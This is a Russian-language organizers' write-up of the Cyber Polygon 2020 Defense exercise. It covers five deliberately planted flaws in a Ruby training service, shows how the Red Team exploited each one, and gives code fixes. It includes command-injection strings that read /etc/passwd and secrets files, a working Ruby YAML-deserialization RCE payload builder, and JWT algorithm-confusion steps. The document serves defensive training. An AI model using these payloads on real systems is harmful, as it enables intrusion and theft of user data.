8 июля 2020 года состоялся второй международный онлайн-тренинг по кибербезопасности Cyber Polygon. В техническом треке приняли участие команды от 120 крупнейших российских и международных организаций из 29 стран. Среди участников были банки, телекоммуникационные компании, представители энергетического сектора, медицинские учреждения, университеты, а также государственные и правоохранительные органы.
Во время тренинга участники выступали в роли команд Blue Team — защищали свои сегменты тренировочной инфраструктуры. Команда организаторов (BI.ZONE) имитировала кибератаки, выступая за Red Team.
Тренинг включал в себя два сценария: Defense и Response.
В этой статье мы подробно разберем Defense-сценарий учений, в котором участникам предстояло отразить атаку, организованную Red Team, и рассмотрим следующие темы:
- основные механики игры;
- инфраструктура и игровой сервис, предоставленные участникам;
- уязвимости, заложенные в сервисах;
- сценарии эксплуатации и способы обнаружения атак;
- способы устранения уязвимостей.
Легенда
Согласно легенде, в виртуальной инфраструктуре организации функционировал сервис, обрабатывающий конфиденциальную информацию клиентов. Этот сервис заинтересовал некую APT-группировку, которая планировала украсть конфиденциальные данные пользователей и перепродать их на черном рынке, чтобы извлечь финансовую выгоду и нанести репутационный ущерб организации.
APT-группировка заранее провела необходимую разведку, обнаружила ряд критичных уязвимостей в целевой системе и в день учений начала свою атаку.
Перед участниками тренинга стояли следующие задачи:
- как можно быстрее справиться с начавшейся атакой;
- минимизировать объем украденной информации;
- сохранить работоспособность сервиса.
Участники могли использовать любые доступные и привычные им средства и методы защиты.
Основные механики
Члены команд, когда-либо принимавшие участие в attack-defenсe CTF, могли отметить некоторую схожесть сценария с этим форматом соревнований по кибербезопасности. Разница состояла в том, что на тренинге участникам не нужно было атаковать другие команды — достаточно было только защищать свой сервис.
Такое правило было введено для того, чтобы все участники оказались в равных условиях и сконцентрировались на улучшении навыков обороны. Кроме того, благодаря ему количественные метрики, а значит и оценка уровня команд, были более объективными.
В качестве метрик были определены следующие показатели:
Health Points (HP). HP выражалось простым численным значением. Команда теряла очки HP, если Red Team смогла успешно проэксплуатировать заложенную в сервисе уязвимость и получить флаг. Чем больше уязвимостей смогла проэксплуатировать Red Team, тем больше HP теряла команда, но при этом у каждой из команд HP отнимались только один раз за раунд.
Service Level Agreement (SLA). В контексте сценария показатель SLA характеризовал целостность и доступность сервиса. SLA измерялся в процентах (0–100%). Команда теряла очки SLA, если на момент обращения чекера сервис оказывался недоступен или функционировал ненадлежащим образом. Обращения чекера к сервису могли происходить несколько раз за раунд, но количество обращений к каждой из команд всегда было одинаковым. Результирующее значение SLA высчитывалось как процентное соотношение удачных проверок (когда сервис доступен и полностью функционален) к общему количеству проверок.
Чекер — механика, которая позволяла организаторам проверять, что сервисы участников функционируют должным образом. Поскольку игровой сервис имитировал реальное веб-приложение, чекер также использовался для проверки выполнения правил игры: участники не могли просто выключить сервис или отключить часть его функциональности, им нужно было защищаться от атак Red Team.
Результирующее количество баллов, заработанных командой в ходе сценария, вычислялось как SLA * HP.
Участникам давалось 30 минут на подготовку, в ходе которых, по предположению организаторов, участники должны были ознакомиться с предоставленным им сервисом, развернуть средства мониторинга и защиты и начать искать уязвимости в коде сервиса.
По истечении этого времени начиналась так называемая «активная фаза» сценария: Red Team приступала к атаке. Активная фаза состояла из 18 раундов продолжительностью в 5 минут каждый.
Перед началом сценария каждая команда получала 180 HP для каждой из 5 заложенных в сервис уязвимостей (900 HP в сумме). За эксплуатацию уязвимости команда теряла 10 HP. Так, если в каком-то раунде было проэксплуатировано 3 уязвимости, за этот раунд команда теряла суммарно 30 HP, а если было проэксплуатировано 5 уязвимостей — 50 HP.
Помимо проверки того факта, что сервис команды функционирует должным образом, чекер применялся, чтобы в начале каждого раунда доставить в сервис команды так называемый флаг (используя легитимную функциональность сервиса). Флаг — это строка формата «Polygon{JWT}», где JWT — JSON Web Token.
В контексте сценария флаг выступал в роли конфиденциальных данных: чем больше флагов смогла похитить Red Team, тем большей была утечка. Похищенный флаг также означал факт эксплуатации уязвимости: команда теряла очки HP именно тогда, когда Red Team получала флаг, эксплуатируя ту или иную уязвимость.
Инфраструктура и игровой сервис
Каждой команде, участвующей в учениях, был предоставлен виртуальный сервер под управлением ОС Linux.
После подключения по VPN участники получали доступ к своему серверу посредством SSH, при этом участникам предоставлялся полный доступ (root) к своей системе.
В домашней директории пользователя /home/cyberpolygon/ch4ng3org
располагался игровой сервис участников.
Бэкенд игрового сервиса был реализован на Ruby, фронтенд — с использованием фреймворка React JS, для управления базой данных была использована СУБД PostgreSQL.
Сервис был предназначен для запуска в Docker, на что указывало, в частности,
то, что в содержащей игровой сервис директории были расположены файлы
Dockerfile
и docker-compose.yml
.
Участники имели полный доступ к исходным кодам сервиса, файлам конфигурации и базе данных и могли использовать эти сведения для поиска и устранения присутствующих в сервисе уязвимостей.
Уязвимости
Небезопасные прямые ссылки на объекты
Уязвимость класса «небезопасные прямые ссылки на объекты» (IDOR, Insecure Direct Object Reference) возникает из-за недостатков в механизмах авторизации.
Уязвимость позволяет злоумышленнику получить доступ к данным других пользователей, к которым при нормальных условиях функционирования приложения у него не должно быть доступа.
В игровом сервисе уязвимость присутствовала в методе get
класса
UsersController
.
backend/app/controllers/users_controller.rb:
def get
user = User.find(params[:id])
if params[:full].present?
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: user.phone
})
else
json_response({
id: user.id,
name: user.name
})
end
end
При обращении по адресу вида http://example.com/api/users/<USER_ID>
,
где USER_ID
— числовой идентификатор пользователя, любой
пользователь мог получить JSON-объект, содержащий числовой идентификатор и имя
пользователя, соответствующее этому числовому идентификатору.
Эта функциональность сама по себе не несет какой-либо опасности пользовательским данным. Однако следует обратить внимание на следующий фрагмент кода:
if params[:full].present?
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: user.phone
})
Как можно увидеть, если передать в запросе параметр full
, в ответе от сервера
будет содержаться уже большее количество данных: помимо идентификатора и имени
пользователя в ответе от сервиса будут возвращены еще его email и номер
телефона.
В игровом сервисе флаги хранились как раз в поле user.phone
(это
можно было обнаружить, например, анализируя сетевой трафик). Каждый раунд чекер создавал
нескольких пользователей и в качестве номера телефона для одного из них
сохранял флаг.
Чтобы воспользоваться данным недостатком приложения, члены Red Team отправляли в сервис
запросы вида http://example.com/api/users/<USER_ID>?full=1
и искали
флаг в поле phone
полученных JSON-объектов.
Для защиты от этой уязвимости хорошей практикой считается маскирование
конфиденциальных данных при их отображении пользователю. Так, номер телефона +71112223344
можно отображать как +7111*****44
.
Например:
def get
user = User.find(params[:id])
if params[:full].present?
# Masking user's phone number
uphone = user.phone
x = 5
y = uphone.length - 3
replacement = '*'*(y-x)
uphone[x..y] = replacement
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: uphone
})
else
json_response({
id: user.id,
name: user.name
})
end
end
В таком случае вместо полного значения флага Red Team получала бы строку вида
Polyg********X
}, а команда участников не теряла бы очки HP
из-за эксплуатации этой уязвимости.
Внедрение команд ОС
Внедрение команд ОС (Command Injection) происходит в результате недостаточной фильтрации пользовательских данных. Используя эту уязвимость, злоумышленник может формировать ввод, содержащий команды ОС, которые выполняются на целевой системе с привилегиями уязвимого приложения.
В игровом сервисе уязвимость присутствовала в методе disk_stats
класса StatsController
.
backend/app/controllers/stats_controller.rb:
def disk_stats
if params[:flags].present?
flags = params[:flags]
else
flags = ''
end
json_response({
disk: `df #{flags}`
})
end
При обращении по адресу вида http://example.com/api/disk_stats
в ответе
сервиса в поле disk
JSON-объекта возвращается вывод системной утилиты df, позволяющей
оценить количество свободного пространства в файловой системе.
В вызываемую команду, по задумке разработчика, можно передавать различные параметры, однако при этом их значение никак не фильтруется:
if params[:flags].present?
flags = params[:flags]
~~~~~~~~~~~~~~~~~~~~~~~~~~
json_response({
disk: `df #{flags}`
})
Это означает, что потенциальный злоумышленник может выполнить практически любую команду в системе, используя специальный синтаксис командной строки.
Так, например, выполнив запрос http://example.com/api/disk_stats?flags=;cat
/etc/passwd
злоумышленник сможет прочитать содержимое системного файла /etc/passwd
.
Red Team эксплуатировала данный недостаток следующим образом:
- При помощи отправки запроса
http://example.com/api/disk_stats?flags=>dev/null;cat config/secrets.yml
Red Team получала содержимое файлаbackend/config/secrets.yml
, в котором хранился приватный ключ для подписи JWT-токенов. - Имея приватный ключ, Red Team могла сформировать и подписать себе валидный JWT-токен для любого пользователя. Поскольку Red Team использовала актуальный приватный ключ сервиса, данный токен был бы успешно провалидирован и принят приложением.
- При помощи отправки запроса
http://example.com/api/me
от лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя и проверяла, нет ли в нем флага.
Чтобы защититься от этой уязвимости, достаточно было запретить передавать какие-либо параметры в вызов команды, поскольку общая работоспособность системы не завязана на использовании этого эндпоинта:
def disk_stats
json_response({
disk: `df`
})
end
Небезопасная конфигурация
Уязвимость небезопасной конфигурации (Security Misconfiguration) возникает, как правило, из-за человеческого фактора. Стандартные конфигурации приложений часто недостаточно ориентированы на безопасность. Из-за лени, недостатка внимания или некомпетентности обслуживающего персонала эти конфигурации порой остаются неадаптированными к суровым реалиям, что существенно сказывается на безопасности приложения.
В игровом сервисе эта уязвимость присутствовала в описании сервиса db
в файле
docker-compose.yml
.
docker-compose.yml:
db:
image: postgres
restart: always
network_mode: bridge
volumes:
- ./db_data:/var/lib/postgresql/data
ports:
- 5432:5432
environment:
POSTGRES_DB: ch4ng3
POSTGRES_USER: ch4ng3
POSTGRES_PASSWORD: ch4ng3
Как можно заметить, сетевой порт базы данных доступен из внешней сети:
ports:
- 5432:5432
Кроме того, сервер базы данных использует в качестве имени базы данных, имени
пользователя и пароля одну и ту же строку, к тому же совпадающую с именем
сервиса ch4ng3.org
.
Обнаружив в результате сканирования сети порт базы данных, Red Team смогла подобрать логин и пароль к этой базе данных. После этого она выполнила следующий SQL-запрос, получив в результате сразу все номера пользовательских телефонов, в которых хранились флаги:
SELECT phone FROM users WHERE phone LIKE 'Polygon%'
Для защиты от этой уязвимости идеальным решением стал бы запрет на подключение
к базе данных из внешней сети и смена пароля пользователя базы данных (при
этом нужно было не забыть внести соответствующие изменения в конфигурацию сервиса
api
):
db: image: postgres restart: always network_mode: bridge volumes: - ./db_data:/var/lib/postgresql/data environment: POSTGRES_DB: ch4ng3 POSTGRES_USER: ch4ng3 POSTGRES_PASSWORD: <VERY_SECRET_PASSWORD>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~environment: - DATABASE_URL=postgres://ch4ng3:<VERY_SECRET_PASSWORD>@db:5432/ch4ng3?sslmode=disable
Однако достаточно было предпринять одно действие из двух: сменить пароль пользователя базы данных на более безопасный либо запретить подключения к базе данных из внешней сети.
Изменение алгоритма подписи JWT
Следующая заложенная в игровом сервисе уязвимость была связана со сменой алгоритма подписи JWT.
В игровом сервисе уязвимость присутствовала в методе decode
класса
JsonWebToken
.
backend/app/lib/json_web_token.rb:
def self.decode(token, algorithm)
# cannot store key as ruby object in yaml file
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
HashWithIndifferentAccess.new body
# rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
# raise custom error to be handled by custom handler
raise ExceptionHandler::InvalidToken, e.message
end
Стоит более внимательно присмотреться к следующим строкам:
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
Приложение подгружает строку с публичным ключом сервиса из файла конфигурации и,
если в токене был передан алгоритм RS256
, производит преобразование этой
строки в публичный ключ RSA, который в дальнейшем используется для проверки
подписи токена.
Можно заметить, что, если в параметре algorithm
передано любое другое
значение, преобразования строки с публичным ключом не произойдет. Если передать в поле
alg
JWT значение HS256
, то для проверки подписи токена будет
использован симметричный алгоритм HMAC, и именно эта строка с публичным ключом
будет использована в качестве ключа для проверки подписи токена.
Red Team эксплуатировала данный недостаток следующим образом:
- При помощи отправки запроса
http://example.com/api/auth/third_party
Red Team получала публичный ключ сервиса из поляpublic_key
полученного JSON-объекта. - Имея публичный ключ, Red Team могла сформировать валидный JWT-токен для любого
пользователя, передав в поле
alg
JWT значениеHS256
и подписав токен, используя в качестве секрета для алгоритма HMAC строку, содержащую публичный ключ сервиса. - При помощи отправки запроса
http://example.com/api/me
от лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя и проверяла, нет ли в нем флага.
Чтобы защититься от этой уязвимости, можно было руководствоваться следующей рекомендацией: при работе с JWT желательно использовать одновременно только один алгоритм подписи — либо симметричный, либо асимметричный. Так, самое простое исправление будет выглядеть следующим образом:
backend/app/lib/json_web_token.rb:
def self.decode(token, algorithm)
# cannot store key as ruby object in yaml file
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
else
raise ExceptionHandler::InvalidToken, Message.invalid_token
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
HashWithIndifferentAccess.new body
# rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
# raise custom error to be handled by custom handler
raise ExceptionHandler::InvalidToken, e.message
end
Теперь, если передать в поле alg
токена значение, отличное от RS256
,
токен будет помечен как невалидный и Red Team не сможет получить доступ к приложению
от лица других пользователей, подписывая токены публичным ключом сервиса.
Небезопасная десериализация YAML
Последняя заложенная в игровом сервисе уязвимость была связана с небезопасной десериализацией YAML.
За импорт петиций через их описание в формате YAML отвечал метод
import
класса PetitionsController
.
backend/app/controllers/petitions_controller.rb:
def import
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
rescue => e
json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
return
end
if petition['created_at']
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
else
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
end
petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
json_response(petition)
end
Особое внимание стоило уделить следующим строкам кода:
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
Как можно заметить, содержимое YAML-объекта берется из base64-кодированного параметра
petition
, после чего преобразуется в объекты языка Ruby конструкцией
YAML.load(yaml)
.
Данная конструкция является небезопасной и позволяет, в том числе, выполнить на целевой системе произвольный код на языке Ruby в контексте уязвимого приложения, чем и пользовалась Red Team.
При помощи следующего скрипта был сгенерирован YAML-объект, эксплуатирующий данный недостаток:
require "erb"
require "base64"
require "active_support"
if ARGV.empty?
puts "Usage: exploit_builder.rb <source_file>"
exit!
end
erb = ERB.allocate
erb.instance_variable_set :@src, File.read(ARGV.first)
erb.instance_variable_set :@lineno, 1
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
payload = Base64.encode64(Marshal.dump(depr))
puts <<-PAYLOAD
---
!ruby/object:Gem::Requirement
requirements:
- !ruby/object:Rack::Session::Abstract::SessionHash
req: !ruby/object:Rack::Request
env:
rack.session: !ruby/object:Rack::Session::Abstract::SessionHash
loaded: true
HTTP_COOKIE: "a=#{payload}"
store: !ruby/object:Rack::Session::Cookie
coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
key: a
secrets: []
exists: true
PAYLOAD
В качестве полезной нагрузки был использован следующий код:
phones = ''
User.all().each do |user|
phones += user.phone + ';'
end
raise phones
Код получал номера телефонов всех зарегистрированных в сервисе пользователей, объединял
их друг с другом через «;»
и при помощи конструкции
raise
вызывал исключение, передавая в качестве сообщения об ошибке
строку, содержащую номера телефонов пользователей.
Сообщение об ошибке далее возвращалось сервером в поле JSON-объекта
message
вместе с кодом ответа 500. При получении такого ответа Red Team
оставалось только найти флаг в сообщении об ошибке.
Чтобы защититься от данной уязвимости, достаточно было заменить вызов функции
YAML.load(yaml)
на вызов функции YAML.safe_load(yaml)
. Однако
чекер в процессе проверки функциональности проверял, чтобы в переданном
YAML-объекте было возможно использовать алиасы. Поэтому результирующая конструкция будет
выглядеть примерно так: YAML.safe_load(yaml, aliases: true)
.
А результирующая безопасная функция — так:
def import
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.safe_load(yaml, aliases: true)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
rescue => e
json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
return
end
if petition['created_at']
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
else
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
end
petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
json_response(petition)
end
Заключение
В нашей статье мы рассмотрели уязвимости, заложенные в игровом сервисе Defense-сценария тренинга Cyber Polygon, разобрали сценарии их эксплуатации и привели примеры исправлений, которые позволили бы участникам защитить свой сервис от атак Red Team.
Мы привели те способы устранения уязвимостей, которыми воспользовались бы сами в реальной ситуации. Однако стоит иметь в виду, что это не единственно возможные и верные методы.
Сценарий предусматривал, что участники могут защититься, не исправляя код в своих игровых сервисах. Например, для защиты от третьей уязвимости Security Misconfiguration, связанной с небезопасной конфигурацией Docker, достаточно было заблокировать порт базы данных на файрволе.
Однако мы убеждены, что лучшее решение — исправлять недостатки сервисов и приложений, а не «прикрывать» их с помощью компенсационных мер защиты, которые рано или поздно могут оказаться недостаточными под натиском атакующего. Вот почему в материале мы подробно рассмотрели корректировку исходного кода для защиты от уязвимостей.
Надеемся, что участие в тренинге было для вас продуктивным и познавательным, и ждем вас на следующих мероприятиях Cyber Polygon.